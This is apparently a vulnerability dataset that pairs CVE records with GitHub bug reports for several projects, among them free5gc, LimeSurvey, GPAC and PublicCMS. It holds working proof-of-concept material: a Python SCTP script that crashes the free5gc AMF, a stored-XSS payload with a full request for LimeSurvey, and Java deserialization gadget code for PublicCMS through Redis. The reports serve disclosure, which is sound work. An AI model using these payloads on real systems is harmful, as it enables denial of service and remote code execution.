CREATE (x) CREATE ()-[:A{n1:size([n2 IN [n3 IN [0] | x.n4] | 0])}]->()-[y:B]->() DELETE y
```
### Expected behavior
The query should run successfully.
### Actual behavior
The database crashes due to a segfault. | Query crashes in `DataBlock_ItemIsDeleted` | https://api.github.com/repos/RedisGraph/RedisGraph/issues/3063/comments | 0 | 2023-04-24T19:16:03Z | 2023-04-24T19:16:03Z | https://github.com/RedisGraph/RedisGraph/issues/3063 | 1,681,876,852 | 3,063 | 5,754 |
CVE-2023-47025 | 2023-11-16T23:15:08.123 | An issue in Free5gc v.3.3.0 allows a local attacker to cause a denial of service via the free5gc-compose component. | {
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## Describe the bug
When I try to send a captured UE registration request message to the AMF, the log shows 'sctp accept from <nil>,' and the AMF crashes, causing disconnection for other UEs as well.
## To Reproduce
Steps to reproduce the behavior:
1. Using free5gc-compose to establish the AMF.
2. run free5gc with default config.
3. Run the following POC python script
`import sys, sctp, socket
if len(sys.argv) != 2:
print("Usage: free5gc.py server-address")
exit(0)
sk = sctp.sctpsocket_tcp(socket.AF_INET)
sk.connect((sys.argv[1], 38412))
ue_request=b'\x00\x0f\x40\x48\x00\x00\x05\x00\x55\x00\x02\x00\x01\x00\x26\x00\x1a\x19\x7e\x00\x41\x79\x00\x0d\x01\x02\xf8\x39\x00\x00\x00\x00\x00\x00\x00\x00\x30\x2e\x04\xf0\xf0\xf0\xf0\x00\x79\x00\x13\x50\x02\xf8\x39\x00\x00\x00\x01\x00\x02\xf8\x39\x00\x00\x01\xe8\xe8\x7e\xd4\x00\x5a\x40\x01\x18\x00\x70\x40\x01\x00'
sk.sctp_send(ue_request, ppid=socket.htonl(60))
sk.close()`
## Expected behavior
I have sent the registration request of a UE that has already completed registration, so the expected behavior should be a notification that the user is already registered and a rejection of the request.However, the AMF crashed
## Screenshots
## Environment (please complete the following information):
- free5GC Version: v3.3.0
- OS: Ubuntu 20.04.1 live-server
- Kernel version: 5.4.0-165-generic
## Trace File
### Configuration File
Use the default config file.
### PCAP File
[crash.zip](https://github.com/free5gc/free5gc/files/13198058/crash.zip)
### Log File
`amf | 2023-10-29T11:42:37.467203444Z [INFO][AMF][Ngap] [AMF] SCTP Accept from: <nil>
amf | 2023-10-29T11:42:37.467906401Z [FATA][AMF][Ngap] panic: runtime error: invalid memory address or nil pointer dereference
amf | goroutine 137 [running]:
amf | runtime/debug.Stack()
amf | /usr/local/go/src/runtime/debug/stack.go:24 +0x65
amf | github.com/free5gc/amf/internal/ngap/service.handleConnection.func1()
amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:184 +0x58
amf | panic({0xbb3280, 0x13088a0})
amf | /usr/local/go/src/runtime/panic.go:1038 +0x215
amf | github.com/free5gc/amf/internal/ngap.Dispatch({0xdf2988, 0xc0001ec020}, {0xc0008ce000, 0x40000, 0x40000})
amf | /go/src/free5gc/NFs/amf/internal/ngap/dispatcher.go:19 +0xac
amf | github.com/free5gc/amf/internal/ngap/service.handleConnection(0xc0001ec020, 0x40000, {0xd03d48, 0xd03d58, 0xd03d50})
amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:237 +0x417
amf | created by github.com/free5gc/amf/internal/ngap/service.listenAndServe
amf | /go/src/free5gc/NFs/amf/internal/ngap/service/service.go:158 +0x9fe
n3iwf | 2023-10-29T11:42:37.490422713Z [WARN][N3IWF][NGAP] [SCTP] Close connection.
n3iwf | 2023-10-29T11:42:37.490494299Z [INFO][N3IWF][NGAP] NGAP receiver stopped
n3iwf | 2023-10-29T11:42:37.490506087Z [INFO][N3IWF][NGAP] NGAP server stopped
ueransim | [2023-10-29 11:42:37.490] [sctp] [debug] SCTP association shutdown (clientId: 2)
ueransim | [2023-10-29 11:42:37.491] [sctp] [warning] Unhandled SCTP notification received
ueransim | [2023-10-29 11:42:37.491] [ngap] [error] Association terminated for AMF[2]
ueransim | [2023-10-29 11:42:37.491] [ngap] [debug] Removing AMF context[2]
`
## Additional context
This security issue could allow anyone to send an message that would cause an amf denial of service and severely affect other users.
| [Bugs]Amf crashed when failed to resolve the IP of ngap message , resulting in a null pointer reference. | https://api.github.com/repos/free5gc/free5gc/issues/501/comments | 1 | 2023-10-29T12:48:07Z | 2023-12-04T08:48:37Z | https://github.com/free5gc/free5gc/issues/501 | 1,966,977,323 | 501 | 5,755 |
CVE-2023-48024 | 2023-11-17T17:15:07.893 | Liblisp through commit 4c65969 was discovered to contain a use-after-free vulnerability in void hash_destroy(hash_table_t *h) at hash.c | {
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"howerj",
"liblisp"
] | # Overview
Hi there @howerj! I love the library and per usual I ran my fuzz tests in the background and found just a couple of memory corruption bugs in liblisp through 4c65969. I have included all of the files necessary for reproducing each bug. If I get some time I'll work on submitting a pull request.
* Use-after-free in void hash_destroy(hash_table_t *h) at hash.c, lines 70-84.
* Out-of-bounds read in unsigned get_length(lisp_cell_t * x) at eval.c, line 272.
# Use-after-free
There exist a use-after-free bug in void hash_destroy(hash_table_t *h) at hash.c, lines 70-84. I believe a potential fix for this would be to set the pointer 'hash_table_t *h' to null after passing it to 'free'.
#### Source Code
https://github.com/howerj/liblisp/blob/4c65969405d38cabb47e7b86eb19232073cdaf7d/src/hash.c#L70-L85
#### File for reproduction
[uaf-liblisp.zip](https://github.com/howerj/liblisp/files/13270380/uaf-liblisp.zip)
### Address Sanitizer Output
```
=================================================================
==134443==ERROR: AddressSanitizer: heap-use-after-free on address 0x6080000006a8 at pc 0x7f9da3ee019b bp 0x7ffce0e7abe0 sp 0x7ffce0e7abd8
READ of size 8 at 0x6080000006a8 thread T0
#0 0x7f9da3ee019a in hash_destroy src/hash.c:73
#1 0x7f9da3ee019a in hash_destroy src/hash.c:70
#2 0x7f9da3edf78f in gc_free src/gc.c:50
#3 0x7f9da3edf78f in lisp_gc_sweep_only src/gc.c:124
#4 0x7f9da3ee4011 in lisp_destroy src/lisp.c:80
#5 0x7f9da3ee871e in main_lisp_env src/repl.c:236
#6 0x7f9da36456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#7 0x7f9da3645784 in __libc_start_main_impl ../csu/libc-start.c:360
#8 0x5615bae755b0 in _start (/home/kali/projects/fuzzing/liblisp/lisp+0x25b0) (BuildId: 0827e7ee54f24ed60d4875e0b6fa13ce80a7782b)
0x6080000006a8 is located 8 bytes inside of 96-byte region [0x6080000006a0,0x608000000700)
freed by thread T0 here:
#0 0x7f9da38d7298 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
#1 0x7f9da3ee750e in read_hash src/read.c:211
#2 0x7f9da3ee750e in reader src/read.c:279
previously allocated by thread T0 here:
#0 0x7f9da38d7fa7 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:77
#1 0x7f9da3edfe97 in hash_create_custom src/hash.c:57
SUMMARY: AddressSanitizer: heap-use-after-free src/hash.c:73 in hash_destroy
Shadow bytes around the buggy address:
0x608000000400: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 07 fa
0x608000000480: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x608000000500: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 07 fa
0x608000000580: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 07 fa
0x608000000600: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 07 fa
=>0x608000000680: fa fa fa fa fd[fd]fd fd fd fd fd fd fd fd fd fd
0x608000000700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
0x608000000780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x608000000800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x608000000880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x608000000900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==134443==ABORTING
```
# Out-of-bounds Read
There exist an out-of-bounds read in unsigned get_length(lisp_cell_t * x) at eval.c, line 272. The OOB read comes from the statement 'return (uintptr_t)(x->p[1].v);' when processing a malformed symbol. A potential fix for this would be to add check ensuring 'x->p[1].v' is within the bounds of the array.
#### Source Code
https://github.com/howerj/liblisp/blob/4c65969405d38cabb47e7b86eb19232073cdaf7d/src/eval.c#L271-L272
#### File for reproduction
[oob-read-liblisp.zip](https://github.com/howerj/liblisp/files/13270382/oob-read-liblisp.zip)
### Address Sanitizer Output
```
=================================================================
==134237==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f76159f9430 at pc 0x7f76159c98d4 bp 0x7ffe27551db0 sp 0x7ffe27551da8
READ of size 8 at 0x7f76159f9430 thread T0
#0 0x7f76159c98d3 in get_length src/eval.c:272
#1 0x7f76159c98d3 in get_length src/eval.c:264
#2 0x7f76159d6abf in subr_greater src/subr.c:325
#3 0x7f76159cbecc in eval src/eval.c:707
#4 0x7f76159d4c85 in lisp_repl src/repl.c:149
#5 0x7f76159d4fb8 in main_lisp_env src/repl.c:212
#6 0x7f76157f66c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#7 0x7f76157f6784 in __libc_start_main_impl ../csu/libc-start.c:360
#8 0x563c29c2b5b0 in _start (/home/kali/projects/fuzzing/liblisp/lisp+0x25b0) (BuildId: 0827e7ee54f24ed60d4875e0b6fa13ce80a7782b)
0x7f76159f9430 is located 48 bytes before global variable '_nil' defined in 'src/subr.c:137:1' (0x7f76159f9460) of size 16
0x7f76159f9430 is located 0 bytes after global variable '_tee' defined in 'src/subr.c:137:1' (0x7f76159f9420) of size 16
SUMMARY: AddressSanitizer: global-buffer-overflow src/eval.c:272 in get_length
Shadow bytes around the buggy address:
0x7f76159f9180: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9
0x7f76159f9200: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9
0x7f76159f9280: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9
0x7f76159f9300: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9
0x7f76159f9380: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 00 00 f9 f9
=>0x7f76159f9400: f9 f9 f9 f9 00 00[f9]f9 f9 f9 f9 f9 00 00 f9 f9
0x7f76159f9480: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x7f76159f9500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f76159f9580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f76159f9600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7f76159f9680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==134237==ABORTING
=================================================================
```
Thank you!
@Halcy0nic
| Memory Corruption Bugs in Liblisp through commit 4c65969 | https://api.github.com/repos/howerj/liblisp/issues/1/comments | 1 | 2023-11-06T17:11:22Z | 2023-11-14T19:21:28Z | https://github.com/howerj/liblisp/issues/1 | 1,979,643,796 | 1 | 5,756 |
CVE-2023-6188 | 2023-11-17T18:15:07.150 | A vulnerability was found in GetSimpleCMS 3.3.16/3.4.0a. It has been rated as critical. This issue affects some unknown processing of the file /admin/theme-edit.php. The manipulation leads to code injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-245735. | {
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"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
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"94"
] | 94 | https://github.com/GetSimpleCMS/GetSimpleCMS/issues/1358 | [
"Exploit"
] | github.com | [
"GetSimpleCMS",
"GetSimpleCMS"
] | There is a remote code execution vulnerability in GetSimpleCMS 3.4.0a version, the specific location is GetSimpleCMS/admin/theme-edit.php
Although this version fixes the problem raised by #1352, if you directly modify the template file, you also can write the PHP backdoor.
For example
You can modify this file directly
Then the modified template file GetSimpleCMS/theme/Innovation/template.php will be included in the GetSimpleCMS/index.php file through the include operation.
<img width="595" alt="Screenshot 2023-11-09 at 15 58 10" src="https://github.com/GetSimpleCMS/GetSimpleCMS/assets/19178256/43c152bf-543b-4175-bdbe-b47b52b72c6e">
Example of executing ls command
| Remote command executioin vulnerability in 3.4.0a | https://api.github.com/repos/GetSimpleCMS/GetSimpleCMS/issues/1358/comments | 0 | 2023-11-09T08:08:10Z | 2024-04-19T02:36:20Z | https://github.com/GetSimpleCMS/GetSimpleCMS/issues/1358 | 1,985,053,712 | 1,358 | 5,757 |
CVE-2023-44796 | 2023-11-18T00:15:07.133 | Cross Site Scripting (XSS) vulnerability in LimeSurvey before version 6.2.9-230925 allows a remote attacker to escalate privileges via a crafted script to the _generaloptions_panel.php component. | {
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"Hebing123",
"cve"
] | **LimeSurvey 6.2.9-230925 has a storage based XSS vulnerability caused by importManifest in [limesurvey/limesurvey](https://huntr.com/repos/limesurvey/limesurvey)**
### **Description**
A regular user with "theme" privileges who maliciously sets the "templatename" during the importManifest process can lead to a stored Cross-Site Scripting (XSS) vulnerability.
### **Proof of Concept**
The first step is to create a user with only 'theme' permission.
Log in to this user and make a request to/index.php/themeOptions/importManifest.
Payload:
`"><script>alert(1)</script>//`
### **Request:**
```
POST /index.php/themeOptions/importManifest HTTP/1.1
Host: 192.168.160.130
Content-Length: 362
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.160.130
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQ5Fx3ILX1P8Y4aCx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.160.130/index.php/themeOptions/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: []
Connection: close
------WebKitFormBoundaryQ5Fx3ILX1P8Y4aCx
Content-Disposition: form-data; name="YII_CSRF_TOKEN"
cEVmTmlNRXlqNVFBSl9qYnVGUmtjd2VZUHJtQ0F1UG5pEjQOU-SeXW7To0RH9_rPINh_thglgRaA23WdYDqjUA==
------WebKitFormBoundaryQ5Fx3ILX1P8Y4aCx
Content-Disposition: form-data; name="templatename"
123"><script>alert(1)</script>//
------WebKitFormBoundaryQ5Fx3ILX1P8Y4aCx--
```
When administrators or other users access http://192.168.160.130/index.php/themeOptions
When, it will be subjected to storage based XSS attacks.
### **Impact**
Attackers can import a templatename containing a payload to execute JavaScript code and hijack the administrator’s cookie.
[tiborpacalat](https://huntr.com/users/tiborpacalat/) marked this as fixed in 6.2.9+230925 with commit [135511](https://www.github.com/limesurvey/limesurvey/commit/135511073c51c332613dd7fad9a8ca0aad34a3fe) 2 months ago | LimeSurvey 6.2.9-230925 has a storage based XSS vulnerability caused by importManifest in limesurvey/limesurvey | https://api.github.com/repos/Hebing123/cve/issues/4/comments | 1 | 2023-12-14T03:31:28Z | 2024-03-11T06:23:47Z | https://github.com/Hebing123/cve/issues/4 | 2,040,839,627 | 4 | 5,758 |
CVE-2023-48039 | 2023-11-20T15:15:09.820 | GPAC 2.3-DEV-rev617-g671976fcc-master is vulnerable to memory leak in gf_mpd_parse_string media_tools/mpd.c:75. | {
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"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
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] | 1.Version
./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev617-g671976fcc-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io/
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
2.ASAN
[DASH] Updated manifest:
P#1: start 0 - duration 0 - xlink none
[DASH] Manifest after update:
P#1: start 0 - duration 0 - xlink none
[DASH] Setting up period start 0 duration 0 xlink none ID DID1
[DASH] AS#1 changed quality to bitrate 10 kbps - Width 1280 Height 720 FPS 30/1 (playback speed 1)
[DASH] AS#2 changed quality to bitrate 120 kbps - Width 384 Height 256 FPS 30/1 (playback speed 1)
[DASH] No ROUTE entity on HTTP request
[DASH] Segment duration unknown - cannot estimate current startNumber
[DASH] Cannot try to download (null)... out of memory ?
[DASH] AS#3 changed quality to bitrate 120 kbps - Width 448 Height 256 FPS 30/1 (playback speed 1)
[DASH] AS#4 changed quality to bitrate 120 kbps - Width 448 Height 256 FPS 30/1 (playback speed 1)
[DASH] AS#5 changed quality to bitrate 120 kbps - Width 384 Height 256 FPS 30/1 (playback speed 1)
[DASH] Adaptation 16: non-video in a video group - disabling it
[DASH] AS#6 changed quality to bitrate 31 kbps (playback speed 1)
[DASH] AS#6 changed quality to bitrate 120 kbps - Width 448 Height 256 FPS 30/1 (playback speed 1)
[DASH] AS#7 changed quality to bitrate 120 kbps - Width 448 Height 256 FPS 30/1 (playback speed 1)
[DASH] AS#8 changed quality to bitrate 120 kbps - Width 384 Height 208 FPS 30/1 (playback speed 1)
[DASH] AS#9 changed quality to bitrate 120 kbps - Width 448 Height 208 FPS 30/1 (playback speed 1)
[DASH] AS#10 changed quality to bitrate 120 kbps - Width 448 Height 208 FPS 30/1 (playback speed 1)
[DASH] No ROUTE entity on HTTP request
[DASH] AST at init 1621274304781
[DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)
[DASH] No ROUTE entity on HTTP request
[DASH] AST at init 1621274304781
[DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)
[DASH] No ROUTE entity on HTTP request
[DASH] Segment duration unknown - cannot estimate current startNumber
[DASH] No ROUTE entity on HTTP request
[DASH] AST at init 1621274304781
[DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)
[DASH] No ROUTE entity on HTTP request
[DASH] AST at init 1621274304781
[DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)
[DASH] No ROUTE entity on HTTP request
[DASH] AST at init 1621274304781
[DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)
[DASH] No ROUTE entity on HTTP request
[DASH] AST at init 1621274304781
[DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)
[DASH] No ROUTE entity on HTTP request
[DASH] AST at init 1621274304781
[DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)
[DASH] No ROUTE entity on HTTP request
[DASH] AST at init 1621274304781
[DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)
[DASH] No ROUTE entity on HTTP request
[DASH] AST at init 1621274304781
[DASH] At current time 78047975763 ms: Initializing Timeline: startNumber=1 segmentNumber=78047975 segmentDuration=1.000000 - 0.000 seconds in segment (start range 7.8048e+07)
[DASHDmx] group 0 error locating plugin for segment - mime type video/mp4 name crashes/live_dash_track1_init.mp4: Requested URL is not valid or cannot be found
Filters not connected:
fout (dst=id_000070,sig_06,src_000600,time_26661155,execs_144902,op_havoc,rep_1_dash.mpd:gpac:segdur=10000/1000:profile=full:!sap:buf=1500:!check_dur:pssh=v:subs_sidx=0) (idx=1)
Arg segdur set but not used
Arg profile set but not used
Arg !sap set but not used
Arg buf set but not used
Arg !check_dur set but not used
Arg pssh set but not used
Arg subs_sidx set but not used
=================================================================
==2943152==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 20 byte(s) in 2 object(s) allocated from:
#0 0x7fb5f41339a7 in __interceptor_strdup ../../../../src/libsanitizer/asan/asan_interceptors.cpp:454
#1 0x7fb5f2fd4bbc in gf_mpd_parse_string media_tools/mpd.c:75
#2 0x7fb5f2fd4bbc in gf_mpd_parse_common_representation_attr media_tools/mpd.c:665
SUMMARY: AddressSanitizer: 20 byte(s) leaked in 2 allocation(s).
3.Reproduction
./MP4Box -dash 10000 $poc
4.POC file
[crash.zip](https://github.com/gpac/gpac/files/13274821/crash.zip)
5.Impact
Malicious files that are opened may cause a crash
6.Credit
LOVERJIE
| memory leaks in gf_mpd_parse_string media_tools/mpd.c:75 | https://api.github.com/repos/gpac/gpac/issues/2679/comments | 0 | 2023-11-07T02:35:25Z | 2023-12-04T10:07:49Z | https://github.com/gpac/gpac/issues/2679 | 1,980,426,267 | 2,679 | 5,759 |
CVE-2023-48090 | 2023-11-20T15:15:09.863 | GPAC 2.3-DEV-rev617-g671976fcc-master is vulnerable to memory leaks in extract_attributes media_tools/m3u8.c:329. | {
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./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev617-g671976fcc-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io/
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
2.ASAN
[M3U8] Unsupported directive #EXT-X-VERSION:
[M3U8] Attribute SEQUENCE:1 not supported
[M3U8] Invalid #EXT-X-MEDIA: TYPE is missing. Ignoring the line.
[M3U8] Invalid URI (URI=") in EXT-X-MAP
[M3U8] Failed to parse root playlist './crashes/crash4', error = BitStream Not Compliant
[DASH] Error - cannot connect service: MPD creation problem BitStream Not Compliant
[DASHDmx] Error - cannot initialize DASH Client for ./crashes/crash4: BitStream Not Compliant
Failed to connect filter fin PID crash4 to filter dashin: BitStream Not Compliant
Blacklisting dashin as output from fin and retrying connections
Failed to find any filter for URL ./crashes/crash4, disabling destination filter fout
Filter fin failed to setup: Filter not found for the desired type
Filters not connected:
fout (dst=crash4_dash.mpd:gpac:segdur=500000/1000:profile=full:!sap:buf=1500:!check_dur:pssh=v:subs_sidx=0) (idx=1)
Arg segdur set but not used
Arg profile set but not used
Arg !sap set but not used
Arg buf set but not used
Arg !check_dur set but not used
Arg pssh set but not used
Arg subs_sidx set but not used
Error DASHing file: Filter not found for the desired type
=================================================================
==150880==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 120 byte(s) in 1 object(s) allocated from:
#0 0x7f7fcaf3ca57 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154
#1 0x7f7fc9d73286 in extract_attributes media_tools/m3u8.c:329
Indirect leak of 11 byte(s) in 1 object(s) allocated from:
#0 0x7f7fcaf3ca57 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154
#1 0x7f7fc9d7385b in extract_attributes media_tools/m3u8.c:345
SUMMARY: AddressSanitizer: 131 byte(s) leaked in 2 allocation(s)..
3.Reproduction
./MP4Box -dash 500000 $poc
4.POC file
[crash.00.zip](https://github.com/gpac/gpac/files/13276778/crash.00.zip)
5.Impact
Memory leaks can cause program performance degradation, system crashes, or unpredictable behavior
6. Credit
jarront | memory leaks in extract_attributes media_tools/m3u8.c:329 | https://api.github.com/repos/gpac/gpac/issues/2680/comments | 0 | 2023-11-07T07:24:45Z | 2023-12-04T10:07:50Z | https://github.com/gpac/gpac/issues/2680 | 1,980,712,658 | 2,680 | 5,760 |
CVE-2023-48300 | 2023-11-20T19:15:09.063 | The `Embed Privacy` plugin for WordPress that prevents the loading of embedded external content is vulnerable to Stored Cross-Site Scripting via `embed_privacy_opt_out` shortcode in versions up to, and including, 1.8.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Version 1.8.1 contains a patch for this issue.
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] | 79 | https://github.com/epiphyt/embed-privacy/issues/199 | [
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] | github.com | [
"epiphyt",
"embed-privacy"
] | ### Bug/Problem
The `show_all` property in the opt-out shortcode may execute unwanted code.
### Steps to reproduce
…
### Version
1.8.0
### Link
_No response_
### Environment info
_No response_
### Code of Conduct
- [X] I agree to follow this project's Code of Conduct | Fix sanitizing in show_all shortcode attribute | https://api.github.com/repos/epiphyt/embed-privacy/issues/199/comments | 0 | 2023-11-01T15:43:56Z | 2023-11-01T15:50:16Z | https://github.com/epiphyt/embed-privacy/issues/199 | 1,972,624,548 | 199 | 5,761 |
CVE-2023-46990 | 2023-11-20T20:15:07.407 | Deserialization of Untrusted Data in PublicCMS v.4.0.202302.e allows a remote attacker to execute arbitrary code via a crafted script to the writeReplace function. | {
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"Exploit"
] | github.com | [
"sanluan",
"PublicCMS"
] | Hello,I found a Deserialization vulnerability in the lastest version of PublicCMS- V4.0.202302.e
The prerequisite for this vulnerability is that the website uses redis cache and needs to obtain redis control permission to initiate deserialization, because redis will trigger deserialization when obtaining the value through the get function.
Then there is the deserialization gadget chain. Jackson and spring exist in the website dependencies. After testing, you can use the following deserialization chain.
BadAttributeValueExpException->POJOnode->TemplatesImpl。
The core code is as follows
```java
public static void main( String[] args ) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("open -a /System/Applications/Calculator.app");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "boogipop");
setFieldValue(templatesImpl, "_tfactory", null);
POJOnode1 jsonNodes = new POJOnode1(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserialize(serial(exp));
}
public static byte[] serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
System.out.println(bytesToHex(baos.toByteArray()));
// 设置Redis数据库连接参数
String host = "localhost";
int port = 6379;
String password = "root";
Jedis jedis = new Jedis(host, port);
jedis.auth(password);
jedis.set("test".getBytes(), baos.toByteArray());
return baos.toByteArray();
}
```
But you need to pay attention to one detail. You need to rewrite a writeReplace method, because this function will replace some data during the serialization process, causing deserialization errors.
Reconstruct the BaseJsonNode.writeReplace function in the jar package, making sure to keep the path consistent.
If you only need to try rce locally, you can write it more conveniently like this.Rewrite it with the following code
```java
import com.fasterxml.jackson.databind.node.POJONode;
import java.util.GregorianCalendar;
public class POJOnode1 extends POJONode {
public POJOnode1(Object v) {
super(v);
}
Object writeReplace() {
GregorianCalendar NodeSerialization;
return this;
}
}
```
so now, you can use the above code to write the serialized hex data to redis。
When you use redis cache, the database will become like this
So if you can control the redis database at this time, you only need to change one of the domain.localhost or some other impairment to trigger deserialization to reach rce。Like the following main
Just visit the website now。
| Trigger deserialization rce through redis cache | https://api.github.com/repos/sanluan/PublicCMS/issues/76/comments | 1 | 2023-10-25T03:09:30Z | 2024-12-26T06:39:55Z | https://github.com/sanluan/PublicCMS/issues/76 | 1,960,443,408 | 76 | 5,762 |
CVE-2023-48051 | 2023-11-20T23:15:06.550 | An issue in /upydev/keygen.py in upydev v0.4.3 allows attackers to decrypt sensitive information via weak encryption padding. | {
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"Exploit",
"Issue Tracking",
"Mitigation"
] | github.com | [
"Carglglz",
"upydev"
] | ### Description:
